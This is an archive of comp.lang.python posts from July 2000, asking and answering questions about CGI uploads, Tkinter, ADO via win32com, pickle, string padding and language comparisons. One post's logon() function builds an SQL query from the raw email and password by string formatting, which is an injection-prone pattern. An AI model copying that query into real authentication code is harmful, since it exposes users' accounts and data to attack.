From test at online.com  Thu Jul  6 18:03:25 2000
From: test at online.com (Harry Testmeier)
Date: Thu, 06 Jul 2000 22:03:25 GMT
Subject: Uploading binary files
References: <Z9475.7$qm5.709@ord-read.news.verio.net>
Message-ID: <3964fda9.6059914@news.btx.dtag.de>

On Fri, 30 Jun 2000 16:46:49 GMT, "Chris Biegay"
<cbiegay at objectmentor.com> wrote:

>I'm trying to upload files through an HTML form, but it only works
>for text files.  When I try to send a jpeg or something the process just
>hangs, and I can't even change the script afterward since the webserver
>won't release the file!  Any ideas?  This is basically how I'm doing it now:
>
>form = cgi.FieldStorage()
>formItem = form[inputName]
>
>if formItem.file:
>    print "Received file [" + formItem.filename + "]"
>    data = formItem.file.read()
>    ...

Hi Chris, 

your Python code seems to be OK, but did you specify an "enctype" in
your HTML-code (e. g. 
<form method="post" action="test.html"
enctype="multipart/form-data">)?

Hope this helps

	Arnold


From kelley at bioreason.com  Fri Jul 14 06:29:51 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Fri, 14 Jul 2000 11:29:51 +0100
Subject: Is pickle buggy?
References: <396B069A.9EBDD68B@muc.das-werk.de> <slrn8mmpq7.he2.jepler.lnk@potty.dsndata.com> <396EE83D.FB60B033@bioreason.com>
Message-ID: <396EEB9F.20FBC9A4@bioreason.com>

I goofed, I actually do get this behavior in windows.  I started a new thread
"string issues or questions about intern"

basically if you eval('"AAAAA"') it appears "AAAAA" is not garbage collected.

But if you eval('a="AAAAA"') a is garbage collected.

Interesting eh?

--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From kpmurphy at my-deja.com  Mon Jul 10 13:59:28 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 10 Jul 2000 17:59:28 GMT
Subject: tkinter menus
References: <8kcmeb$m5r$1@nnrp1.deja.com> <5vujmsg8hdf54luae6e2c0jivv93qheu9h@4ax.com>
Message-ID: <8kd2tk$3l$1@nnrp1.deja.com>

In article <5vujmsg8hdf54luae6e2c0jivv93qheu9h at 4ax.com>,
  mwr at hsl.tcp.co.uk wrote:
> On Mon, 10 Jul 2000 14:26:40 GMT, Keith Murphy <kpmurphy at my-deja.com>
> wrote:
>
> >menu, menu... anyone, anyone?
> >
> >	How do you configure top-level menu entries?  I'd like to put a
'help'
> >menu (and possibly others) on the right end of the menu bar.  I've
seen
> >examples where you make your own frame... but there has to be a way
> >built in... doesn't there?  :)
> >
> In Tkinter, when you use the appropriate geometry manager to put the
> button in the menu bar. E.g:
> helpButton = Menubutton(myMenuBar, ...)
> helpButton.Pack(side=RIGHT, ...)
>
> Or if you're using Pmw, then you can do something like:
> myMenuBar = Pmw.MenuBar(...)
> myMenuBar.addmenu(side=RIGHT,...)
>
> --
> Martin Rand
> Highfield Software Ltd
> mwr at highfield-software.co.uk
> Phone: +44 (0)23 8025 2445
> Fax:   +44 (0)23 8025 2445
>


well i am using a system menubar, not one i've created.  i'm using
fredrik lundh's 'an introduction to tkinter'
(http://www.pythonware.com/library/tkinter/introduction/index.htm) as my
guide.  here is an example he uses:

# File: menu-example-2.py

from Tkinter import *

root = Tk()

def hello():
   print "hello!"

# create a toplevel menu
menubar = Menu(root)
menubar.add_command(label="Hello!", command=hello)
menubar.add_command(label="Quit!", command=root.quit)

# display the menu
root.config(menu=menubar)

mainloop()



...if you try and pack or anything, you will get the following message:
TclError: can't pack ".1977984.1980464": it's a top-level window

... any more help?  thanks :)

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From thiele at muc.das-werk.de  Mon Jul  3 12:28:55 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 18:28:55 +0200
Subject: making widgets invisible
References: <3960794E.6E2B36E6@muc.das-werk.de> <8jq5bf$h45$1@nnrp1.deja.com> <3960A4D3.F45133B4@muc.das-werk.de> <962638110.1459980735@news.libertysurf.fr>
Message-ID: <3960BF47.AF251B0B@muc.das-werk.de>

>

I think this pack_forget methode is what I was looking for.
I'll try it.

Thanks Thomas




From dale at out-think.NOSPAMco.uk  Wed Jul 19 11:36:49 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Wed, 19 Jul 2000 16:36:49 +0100
Subject: ADO 2.5 connection problem
References: <snbbe8hl1nk87@news.supernews.com>
Message-ID: <snbiovis6tt120@news.supernews.com>

I've just knocked up a JavaScript equivalent of this as a Windows Scripting
Component and it works a treat.

Is it me or is Python Win32Com doing something stupid?

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants



Dale Strickland-Clark <dale at out-think.NOSPAMco.uk> wrote in message
news:snbbe8hl1nk87 at news.supernews.com...
> Sorry about the length of this post but I've run out of ideas.
>
> The following error is produced by a short extract of the program I'm
> working on.
>
> The program opens a database connection (ADO) object which it stores in
the
> object it returns on creation.
>
> That connection is then used on subsequent calls to access record sets.
The
> test() method shows that the connection is still open.
>
> This used to work with MDAC 2.1 but I had to upgrade to MDAC 2.5. That's
> when it stopped working. This error is reproducible on NT 4.0 and Windows
> 2000.
>
> HELP! Why can't I use this connection?
>
>
> >>> import thstest
> >>> x = thstest.ths()
> Create ths...
> >>> x.logon('fred', 'pw')
> Traceback (innermost last):
>   File "<interactive input>", line 1, in ?
>   File "S:\JOBS\THS\Code\thstest.py", line 52, in logon
>     rs.open(qry, self.dbcon, adOpenStatic, adLockOptimistic, adCmdText)
>   File "d:\Program Files\Python\win32com\client\dynamic.py", line 428, in
> __getattr__
>     raise pythoncom.com_error, details
> com_error: (-2147352567, 'Exception occurred.', (0, 'ADODB.Recordset',
> 'Operation is not allowed on an object referencing a closed or invalid
> connection.', 'C:\\WINNT\\HELP\\ADO210.CHM', 0, -2146824579), None)
> >>> x.test()
> Connection state: 1
> >>>
>
>
> from win32com.client import Dispatch
>
> # Constants
>
> # ---- CursorTypeEnum Values ----
> adOpenStatic = 3
> # ---- LockTypeEnum Values ----
> adLockOptimistic = 3
> # ---- CommandTypeEnum Values ----
> adCmdText = 0X0001
>
> # ---- ObjectStateEnum Values ----
> adStateClosed = 0X00000000
> adStateOpen = 0X00000001
> adStateConnecting = 0X00000002
> adStateExecuting = 0X00000004
> adStateFetching = 0X00000008
>
> sourcedb = "s:\\data\\merlin.mdb"
>
> class ths:
>     def __init__(self):
>         self.dbcon = Dispatch("ADODB.Connection")
>         self.dbcon.Open("Driver={Microsoft Access Driver (*.MDB)}; DBQ=" +
> sourcedb)
>         print "Create ths..."
>
>     def test(self):
>         print "Connection state:", self.dbcon.state
>
>     def __del__(self):
>         print "Deleting ths..."
>         self.dbcon.Close()
>         self.dbcon = None
>
>     def logon(self, email, password):
>         rs = Dispatch("ADODB.Recordset")
>         qry = "select * from user where email = '%s' and password = '%s'"
%
> (email, password)
>         rs.open(qry, self.dbcon, adOpenStatic, adLockOptimistic,
adCmdText)
>         return not rs.EOF
>
>
>
>
> --
> Dale Strickland-Clark
> Out-Think Ltd, UK
> Business Technology Consultants
>
>
>




From robin at jessikat.demon.co.uk  Mon Jul  3 19:23:07 2000
From: robin at jessikat.demon.co.uk (Robin Becker)
Date: Tue, 4 Jul 2000 00:23:07 +0100
Subject: tkinter hanging
References: <WRe0zXARD1X5EwXY@jessikat.demon.co.uk>
 <slrn8m0hm3.m2b.thomas@centurion.xs4all.nl>
 <yget$DAtiEY5EwYZ@jessikat.demon.co.uk>
Message-ID: <+fF0kLAbBSY5Ewaz@jessikat.demon.co.uk>

In article <yget$DAtiEY5EwYZ at jessikat.demon.co.uk>, Robin Becker <robin at jessikat.co.uk> writes
>In article <slrn8m0hm3.m2b.thomas at centurion.xs4all.nl>, Thomas Wouters
><thomas at xs4all.nl> writes
>>On Sun, 2 Jul 2000 15:25:21 +0100, Robin Becker <robin at jessikat.demon.co.uk>
>>wrote:
>>>I'm having problems with zombie processes under win32 with a tkinter
>>>linked against Tk 8.3. I seem to be exiting the mainloop ok and have
>>>destroyed all subwindows and then the gui object itself, but
>>>occasionally I still generate a zombie. I have checked that my after's
>>>are cancelled and debug prints seem to show me exiting the script.
>>
...
Under Win95 + Python 1.6a2 this code hangs about 1 in 10 times when the gui is killed using the
window manager. The output indicates that the mainloop is terminated, afters are cancelled and
all the widgets are destroyed. Even so it seems to hang after printing 'sys.exit'. It is using
the common Tk idiom of delayed polling with after, but the exit code makes strenuous efforts to
remove any pending calls.

Can anyone see what I'm doing wrong?

####################
from Tkinter import *
import string, sys, os, regex, telnetlib
import traceback, time

class CommandEntry(Entry):
    def __init__(self, master, partk, **kw):
        apply(Entry.__init__, (self, master), kw)

class Gui:
    def __init__(self):
        self.tk = Tk()
        try:
            self._build()
            self._alive = 1
        except:
            traceback.print_exc()
            self.destroy()

    def _build(self):
        self.tk.geometry("800x600")
        self.tk.title("Client")
        self.tk.protocol("WM_DELETE_WINDOW", self.close)
        self.after_id = []
        
        tA = {'fg':'white','bg':'black','state':'disabled','height':20}
        tC = {'fg':'white','bg':'black','insertbackground':'yellow','insertwidth':2}
        if os.name != 'posix':
            # need tcl/tk 8.0 on windows
            fnt = ("Fixedsys", 12)
            tA['font'] = fnt
            tC['font'] = fnt

        self.txt = Text(self.tk,tA)
        self.entry = apply(CommandEntry,(self.tk, self), tC)

        # set up the scrollbar for the txt widget
        self.scrollVertical = Scrollbar(self.tk,orient=VERTICAL)
        self.txt.configure(yscrollcommand=self.scrollVertical.set)
        self.scrollVertical.config(command=self.txt.yview)
        self.scrollVertical.pack(side=RIGHT, anchor=E, fill=Y)

        self.entry.pack({'side': 'bottom', 'fill': 'both'})
        self.entry.focus_set()
        self.txt.pack({'side': 'bottom', 'fill': 'both', 'expand': 1})

    def mainloop(self):
        self.after_id.append(self.tk.after(100, self.iterate))
        self.tk.mainloop()
        print 'mainloop end'
        
    def destroy(self):
        self._alive = 0
        self.after_cancel()

        for w in ('scrollVertical','txt','entry','tk'):
            try:
                getattr(self,w).destroy()
                delattr(self,w)
                print '%s destroyed' % w
            except:
                traceback.print_exc()
        
    def iterate(self):
        if self.loop():
            self.after_id.append(self.tk.after(50, self.iterate))
        else:
            self.tk.quit()

    def after_cancel(self):
        while self.after_id!=[]:
            id = self.after_id[0]
            del self.after_id[0]
            try:
                self.tk.after_cancel(id)
            except:
                traceback.print_exc()

    def close(self,event=None):
        self._alive = 0

    def loop(self):
        if not self._alive: return 0
        try:
            pass
        except:
            traceback.print_exc()
            self._alive = 0

        return self._alive

if __name__ == '__main__':
    gui = Gui()
    gui.mainloop()
    print 'Exiting'
    gui.destroy()
    del gui
    while 1:
        time.sleep(1)
        print 'sys.exit'
        sys.exit()
-- 
Robin Becker


From alex at magenta.com  Fri Jul 14 10:01:51 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 14 Jul 2000 16:01:51 +0200
Subject: Local CGI programming
References: <396F0F28.7C8B8B83@ieee.org>
Message-ID: <8kn6mh02n5c@news2.newsguy.com>

"Didier WILLAME" <didier.willame at ieee.org> wrote in message
news:396F0F28.7C8B8B83 at ieee.org...
> Hello all,
>
> I need to call a CGI python script with my web browser, on my WIN NT
> station (local hard drive).
>
> To test this, I have written the following script. But the new page
> (built by the python script) is not diplayed by the web browser!
>
> Is a http service needed to perform this test?

Yes, you need a HTTP server that supports CGI to test out CGI.

>   If yes, what minimal product propose you?

Python comes with a CGI-capable HTTP server but I have not
managed to make it run under NT (it uses fork and several other
Unix-only constructs).  The easiest solution for me was to install
Xitami, a free lightweight HTTP server, www.xitami.com; it was
a no-brainer to set up and use.  I'd much rather have a usable
Python CGI-capable server on my NT box, but that port would
have taken more effort and was not my focus at the time.

It also seems to me your script has one excess blank line between
headers and content, but I don't think this is your problem.


Alex





From thiele at muc.das-werk.de  Mon Jul  3 12:32:17 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 18:32:17 +0200
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de> <8F665C79Agmcmhypernetcom@199.171.54.154> <39608FE0.35950741@muc.das-werk.de> <8F666C0AEgmcmhypernetcom@199.171.54.154>
Message-ID: <3960C011.84B3D888@muc.das-werk.de>

The program is the front-end of a job - management system.
The program has to receive a user - command (via pickling over
a tcp-socket connection) and execute a special program and evaluate
the output.

And this program runs on NT too. And so the starting server has to run on
NT too.



From nobody at nowhere.nohow  Fri Jul 28 01:22:56 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Fri, 28 Jul 2000 05:22:56 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com>
Message-ID: <slrn8o265g.qtv.nobody@isis.visi.com>

In article <io12ososq8or6t6lgdsclgp5eob5rs8cd7 at 4ax.com>, Ben Wolfson wrote:

>list() (and tuple()) only work on objects that actually have a sequence
>mapping makes a lot of sense and, to me, resolves the ambiguity in
>precisely the way I would expect.

Is 'sequence mapping' for list() an tuple() defined the same as for the
'for' statement: it has a get_item(i) method that returns either a value or
raises an exception?

-- 
Grant Edwards                   grante             Yow!  While I'm in
                                  at               LEVITTOWN I thought I'd
                               visi.com            like to see the NUCLEAR
                                                   FAMILY!!


From johannes at zellner.org  Fri Jul  7 12:07:08 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Fri, 7 Jul 2000 18:07:08 +0200 (CEST)
Subject: how to mimic interactive
Message-ID: <Pine.LNX.4.21.0007071801530.2217-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

how do I design an interactive input loop so that it
feels like called python interactively ? (e.g. prints
results of math operations)

e.g. in a script

while 1:
    exec raw_input(prompt)

if I run this script and type
    2*3

at the input prompt it does not print the result
as in the interactive python interp.

Short: where do I find the input loop implementation
for interactive python `shells' ?


-- 
   Johannes




From sabren at manifestation.com  Sat Jul 29 14:11:33 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Sat, 29 Jul 2000 14:11:33 -0400 (EDT)
Subject: Python 3000 ?
In-Reply-To: <8luuin$ags$4@newshost.accu.uu.nl>
Message-ID: <Pine.BSF.4.10.10007291410050.5675-100000@chi.pair.com>

On 29 Jul 2000, Martijn Faassen wrote:

> It's amazing how often this question is asked. What is causing all these
> people to ask this question? Some web page being extremely mysterious
> about Python 3000 somewhere?

http://www.python.org/1.5/

"... after that, we'll be working on "Python 3000" (the new code name
for the grand Python redesign; the language will be incompatible)..."

I think someone wrote it just to scare people. :) Not to point
fingers, but it's Guido's email address on that page...

Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From neilh at scintilla.org  Sun Jul  9 19:39:48 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 09 Jul 2000 23:39:48 GMT
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com> <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com> <8kaolt$flc$1@supernews.com>
Message-ID: <838a5.12069$Tb7.82109@news-server.bigpond.net.au>

> Oh for standards in keyboard shortcuts. What's wrong with ctrl-enter like
> Visual Studio?

   Visual Studio uses Tab. I had no idea it also allowed Ctrl+Enter.

   Neil





From ge at nowhere.none  Wed Jul 19 14:41:36 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 19 Jul 2000 18:41:36 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
References: <8F7682C13PaCmAnRDLM@195.25.12.37> <slrn8nbsj3.chd.cjc26@synecdoche.sowrong.org>
Message-ID: <ADmd5.1701$6E.339824@ptah.visi.com>

In article <slrn8nbsj3.chd.cjc26 at synecdoche.sowrong.org>, Cliff Crawford wrote:

>| Since then I have been through what I believe to be a reasonably thorough 
>| Web search (from Parnassus outwards) to find something to get me started, 
>| and have turned up precious little. Various Python bindings of curses or 
>| ncurses exist, but can one run curses itself under Win 9x ? Or are there 
>| other, well-hidden libraries or modules that do more or less the same thing 
>| on that platform ? (I'm not asking for something as high-level and 
>| extensive as the Borland OWL of old :-)
>
>You may be able to compile curses using cygwin/djgpp.  Also, there
>is another library called S-Lang which you could use, and I believe
>there is a port for it for Windows.

There is a nice widget set called newt (with a Python binding
called snack) that uses slang.  If slang is available under
Win32, then it should be possible to use newt/snack.

-- 
Grant Edwards                   grante             Yow!  Wait... is this a FUN
                                  at               THING or the END of LIFE in
                               visi.com            Petticoat Junction??


From bill at dehora.fsnet.co.uk  Fri Jul 28 17:54:07 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Fri, 28 Jul 2000 22:54:07 +0100
Subject: Python is Zen (was Python is wierd)
References: <39806045.F67EBD04@wag.caltech.edu>
Message-ID: <8lt0ap$69q$2@newsg4.svr.pol.co.uk>

Does this imply a "Thinking in Python"?

-Bill de h?ra




From tim at pnorthover.freeserve.co.uk  Tue Jul 25 15:27:42 2000
From: tim at pnorthover.freeserve.co.uk (Tim Northover)
Date: 25 Jul 2000 20:27:42 +0100
Subject: Reading a file
Message-ID: <m2g0oy80y9.fsf@pnorthover.freeserve.co.uk>

I'm attempting to read a file line by line with readline(), but it
seems to return and empty string when EOF is encountered. Is there a
way of discerning the difference between the end of the file and a
blank line in the file?

I'm very new to this so I don't know the methods used but I couldn't
find anything relevant when grepping the html docs.

Tim N.


From peter at schneider-kamp.de.bbs  Mon Jul 17 10:50:02 2000
From: peter at schneider-kamp.de.bbs (peter at schneider-kamp.de.bbs)
Date: 17 Jul 2000 14:50:02 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bRFWP$jXa@openbazaar.net>

Thomas Wouters wrote:
>
> As for the patch itself, it looks okay, though I'd say the restriction on
> padchar being a single character is a bit strange. Why not allow multiple
> characters as padding ? string.join() allows strings instead of single
> characters, too.

Two reasons why not:
- it would have been harder to implement <wink>
- undetermined semantics:
  "GvR".ljust(6,"12") =?= "GvR121"
  or
  "GvR".ljust(6,"12") =?= "GvR12"
  or
  "GvR".ljust(6,"12") =?= "GvR1212"

  I would vote for the first, but I am not sure it is obvious.
  Also I don't see any danger in the version implemented now.
  If you supply a string of length != 1, you get a very
  nice (helpful) TypeError.

Two reasons why:
- you could use "" to switch off padding, "N/A    " to fill a
  line with "N/A    N/A    N/A    N/A    " or " ." if you
  don't like """
  1.2.7. On the verge of sending........
  1.2.8. Really about to send now......."""
- it would be more general. Python likes that.

If we can work out the semantics, I volunteer to implement it.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de


From grey at despair.rpglink.com  Sun Jul 30 20:37:48 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:37:48 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8lvslc0mn8@news2.newsguy.com> <slrn8o74um.fjt.grey@teleute.rpglink.com> <8m1evp22n4o@news2.newsguy.com>
Message-ID: <slrn8o9iem.i9b.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 14:52:12 +0200, Alex Martelli <alex at magenta.com> wrote:
>One is presumably processing existing logs to extract data upon
>which business decisions will be based (if there is no interest
>whatsoever in the data extracted, why is it being extracted?!).

    Security?  

>the one originally considered).  So, try again, giving any example of
>the 'tons of conversions' and/or the 'type it dozens of times', and
>once again we'll presumably show how _it just isn't so_...

    No, I trust you.  If I were to do so the conversation would never die.
Chalk it up to difference of opinion and my ignorance and let's move on.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From shindich at my-deja.com  Mon Jul 10 21:23:45 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Tue, 11 Jul 2000 01:23:45 GMT
Subject: reference counter and __del__
References: <3969CB5C.A860D124@muc.das-werk.de>
Message-ID: <8kdsuj$k9c$1@nnrp1.deja.com>

In article <3969CB5C.A860D124 at muc.das-werk.de>,
  thiele at muc.das-werk.de wrote:
> 1. I have the problem that not all of my objects are destroyed and I
> don't know where and why, so I wonder if there a way to check out from
> where and how many references to a special object exists?
>
You can use sys.getrefcount ().
Thomas Thiele posted a similar question today, you might want to look at
the answers to that posting too. For all we know, there could be a
reference leak in pickle.
> 2. When __del__ is called the object will be detroyed, correct?
Yep. In fact, __del__ is called as the object being destroyed.
> 3. Why is __init__ not called when I unpickle an object?
>
I don't know the exact answer to this question, but my guess is that it
doesn't need to call the constructor. I assume that pickle.loads ()
simple creates an object and sets up the properties on that object to be
the same as those of the object that got serialized using
pickle.dumps().
But read the docs on it. I am no authority on pickle inetrnals.
> Thomas
>

Alex Shindich
http://www.shindich.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From michels at linmpi.mpg.de  Thu Jul 13 05:33:25 2000
From: michels at linmpi.mpg.de (Helmut Michels)
Date: Thu, 13 Jul 2000 11:33:25 +0200
Subject: python/win9x and contour plots
References: <m34s5wuxw7.fsf@localhost.localdomain> <396CDB9E.6F6AA3@oreilly.com>
Message-ID: <396D8CE5.A39FB656@linmpi.mpg.de>

"Stephen R. Figgins" wrote:

> Eric Haageman has given some examples of using DISLIN with Python on the
> O'Reilly Network.  It works okay on my Win98 system.  You can find
> articles in his column at:
>
>   http://www.oreillynet.com/pub/q/numerically_python
>
> I don't know how well DISLIN can handle an irregular grid, if it can at
> all. But it does seem pretty easy to use with Python.
>
> Stephen

DISLIN cannot handle directly irregular grids for contour plots, but there
is a routine with the name getmat for calculating a regulat matrix from
randomly distributed data points. This calculated matrix can then be passed

to the contour and surface plotting routines in DISLIN.

-------------------
  Helmut Michels
  Max-Planck-Institut fuer Aeronomie  Phone: +49 5556 979-334
  Max-Planck-Str. 2                   Fax  : +49 5556 979-240
  D-37191 Katlenburg-Lindau           Mail : michels at linmpi.mpg.de
  DISLIN Home Page:  http://www.linmpi.mpg.de/dislin




From bjorn at roguewave.com  Sat Jul 22 00:19:27 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 21 Jul 2000 22:19:27 -0600
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com>
Message-ID: <397920CF.AD6F30BD@roguewave.com>

Tim Hochberg wrote:

[snip]
> ------------------------------------------------------------------------
> Proposal one, which for lack of a better name I'll call Huaiyu's proposal:

[snip]

> Advantages:     Similarity to MatLab syntax.
> Disadvantages:  Reversed syntax.
>                 Essentially precludes eventual unification of NumPy and MatPy.
>                 5.+A probably won't confuse the parser, but it may confuse me.

No, it will not confuse the parser, however it will be parsed as "5.0 +
A" which might not have been intended...

In any case, I find Konrad's proposal more aestethically pleasing (but
then I don't care about Matlab users <wink>)

-- bjorn



From rhymes at tiscalinet.it  Tue Jul 25 10:58:31 2000
From: rhymes at tiscalinet.it (rhymes)
Date: Tue, 25 Jul 2000 16:58:31 +0200
Subject: Python & AI
Message-ID: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com>

 Do u know something on the net related to Artificial Intelligence and
Python Language??

Thanx in advance.

Lawrence Oluyede

rhymes at tiscalinet.it

"Per cambiare, 
per diventare un' altra cosa
dobbiamo prima sapere cosa siamo"

Bruce Lee


From gherman at darwin.in-berlin.de  Thu Jul 13 10:42:30 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Thu, 13 Jul 2000 16:42:30 +0200
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <396CB0D3.8F7BC8E5@prescod.net> <slrn8mpn08.17c.hzhu@rocket.knowledgetrack.com> <396D9EF5.D4B0EE10@prescod.net>
Message-ID: <396DD556.65D80A8@darwin.in-berlin.de>

Paul Prescod wrote:
> 
> Huaiyu Zhu wrote:
> >
> > ...
> >
> > I also find I need to do this a lot of time.  For example, when you read
> > something from a file, you want to return an object of a specific class
> > based on the content.  The easiest way to do it appears to be
> >
> > class General:
> >    __init__(self, data):
> >        self.data = data
> >        if data is something:
> >            self.__class__ = Special1
> >        else:
> >            self.__class__ = Special2
> >
> > class Special1(General): pass
> >
> > class Special2(General): pass
> 
> YOur code would work just as well if Special1 and Special2 were not
> related to General. In fact, it would work if you separated out that
> init function into something that reads the data and creates an
> appropriate class instance based on the data.

This is a typical case for using one of the following 
design patterns: Abstract Factory, Builder, Factory 
Method (see "Design Patterns" by Gamma et al. for de-
tails).

There is really no need for turning OO concepts upside-
down only because the specification of a particular 
language allows for doing it (unless there is no other 
proper way to do it...).

Regards,

Dinu

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")


From loewis at informatik.hu-berlin.de  Sun Jul  9 06:19:20 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:19:20 +0200
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au> <NhJ95.32962$HL2.534327@afrodite.telenet-ops.be> <8k8q17$rov$1@thrud.anatomy.usyd.edu.au>
Message-ID: <p6qhf9z4ndj.fsf@informatik.hu-berlin.de>

danny at thrud.anatomy.usyd.edu.au (Danny Yee) writes:

> <ben at co.and.co> wrote:
> >Just reverse the dictionnary, to be found in htmlentitydefs.
> 
> Where do I find this?

>>> import htmlentitydefs
>>> dir(htmlentitydefs)
['__builtins__', '__doc__', '__file__', '__name__', 'entitydefs']
>>> print htmlentitydefs.entitydefs

Regards,
Martin


From richard_chamberlain at ntlworld.com  Fri Jul 21 13:03:39 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 21 Jul 2000 18:03:39 +0100
Subject: Where to install Python 1.5.2 ? and pmw ?
References: <sngqqrb46tt22@corp.supernews.com>
Message-ID: <Qk%d5.1932$k54.33522@news6-win.server.ntlworld.com>

Hi Randy,

My python is actually installed in c:\program files\python but it's probably
best to put it in c:\python to avoid any issues with the directory name
'program files'. Having said that I've never had a problem.

My Pmw is just inside the python directory with no issues.

Richard

Randolph MacKenzie <rmack at eznet.net> wrote in message
news:sngqqrb46tt22 at corp.supernews.com...
> Where is the best place to install Python 1.5.2 in the Windows platform ?
Is
> C:\Program Files\Python really the best location?
> I also want to install pmw so that I can import pmw without generating an
> error message. How do I do that ?
>
> -TIA, Randy
>
>
>
>




From see at below  Sat Jul 29 04:09:46 2000
From: see at below (Paul Foley)
Date: 29 Jul 2000 20:09:46 +1200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com>
Message-ID: <m2ittptl11.fsf@mycroft.actrix.gen.nz>

On Fri, 28 Jul 2000 21:06:37 GMT, Steve Lamb wrote:

> On 28 Jul 2000 16:16:12 -0400, mmillikan at vfa.com <mmillikan at vfa.com> wrote:
>> Are you saying that data is naturally untyped and that 
>> operations/functions are naturally typed (and that this typing
>> of o/f's is unambiguous)?

>     Mmmm, in as far as I can read that, yes.  It is the operation that
> determines the type of the data, not the data in and of itself.

Not in the world I live in!  If I put a slice of pizza in my coffee cup,
it doesn't magically turn into coffee...just makes a mess.

-- 
Nomina stultorum in parietibus et portis semper videmus.      -- Cicero

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From ajs at ix.netcom.com  Mon Jul 24 09:52:22 2000
From: ajs at ix.netcom.com (Arthur Siegel)
Date: Mon, 24 Jul 2000 09:52:22 -0400
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net>
Message-ID: <8lhij5$278$1@slb2.atl.mindspring.net>


Dan Grassi <Dan at Grassi.org> wrote in message >
> Then there is the mod-python/mod_pyapache mess, two competing versions
> both with major problems ranging from re not working in the module
> version of mod_python to memory leaks in both versions.  Memory leaks are
> a major problem in a shop that is serving over 1 million pages a day.

Perhaps your shop, which sounds:
a) substantial
b) for profit

consider doing what has traditionally been done when a technical solution
requiring
an impled or express warranty of fitness is necessary - arrange to engage
an appopriate shop in that business to provide it.

Perhaps Guido is not in a postion to worry about whether dot.coms serving 1
million
pages a day decide to do the Python world a favor and use a Python based
solution.

I would hope he doesn't loose sleep over your problem.





From gmcm at hypernet.com  Fri Jul 21 13:23:24 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 21 Jul 2000 17:23:24 GMT
Subject: Intercept methods/raise exception
References: <3978f242.25036009@news.online.no> <8F77C5E93gmcmhypernetcom@199.171.54.155> <397912ac.71497477@news.online.no>
Message-ID: <8F7880DBBgmcmhypernetcom@199.171.54.155>

